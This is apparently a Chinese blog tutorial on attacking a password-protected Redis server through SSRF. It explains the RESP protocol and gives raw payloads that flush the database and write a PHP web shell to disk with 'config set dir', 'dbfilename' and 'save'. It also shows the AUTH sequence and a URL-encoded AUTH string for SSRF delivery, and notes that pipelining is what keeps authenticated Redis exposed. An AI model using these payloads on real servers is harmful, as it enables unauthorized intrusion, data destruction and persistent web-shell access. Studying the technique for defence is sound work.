zoukankan      html  css  js  c++  java
  • SSRF打认证的redis

    redis客户端在向服务端传输数据用到的是RESP协议

    • 客户端向Redis服务器发送一个仅由Bulk Strings组成的RESP Arrays。
    • Redis服务器回复发送任何有效RESP数据类型作为回复的客户端。

    Bulk Strings用于表示长度最大为512 MB的单个二进制安全字符串

    我们要了解它的编码方式

    一个$字节后跟组成字符串的字节数(一个前缀长度),由CRLF终止。

    现在数据包中的每一行数据就好理解了。每一个*number代表每一行命令,number代表每行命令中数组中的元素个数。$number代表每个元素的长度。

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $22
    
    
    <?php phpinfo();?>
    
    
    *4
    $6
    config
    $3
    set
    $3
    dir
    $4
    /tmp
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $9
    shell.php
    *1
    $4
    save

    认证:

    sed -i 's/#requirepass 123123/requirepass 123123/g' /etc/redis.conf

    认证传递的字符数组

    *2
    $4
    AUTH
    $6
    123123

    官网对于命令的说明

    Request-Response model.
    A client can use the same connection in order to issue multiple commands. Pipelining is supported so multiple commands can be sent with a single write operation by the client, without the need to read the server reply of the previous command before issuing the next one. All the replies can be read at the end..

     

    Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读。

    这也是Redis在认证情况下依然可以被攻击到原因。

    重新构造数据包

    %2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123123%0D%0A
  • 相关阅读:
    HDU 1087 Super Jumping! Jumping! Jumping!
    HDU 1159 Common Subsequence
    HDU 1003 Maxsum
    HDU 2604 Queuing
    HDU 2045 不容易系列之(3)—— LELE的RPG难题
    HDU 2501 Tiling_easy version
    HDU 2050 折线分割平面
    HDU 2018 母牛的故事
    HDU 2046 骨牌铺方格
    HDU 2044 一只小蜜蜂...
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12980208.html
Copyright © 2011-2022 走看看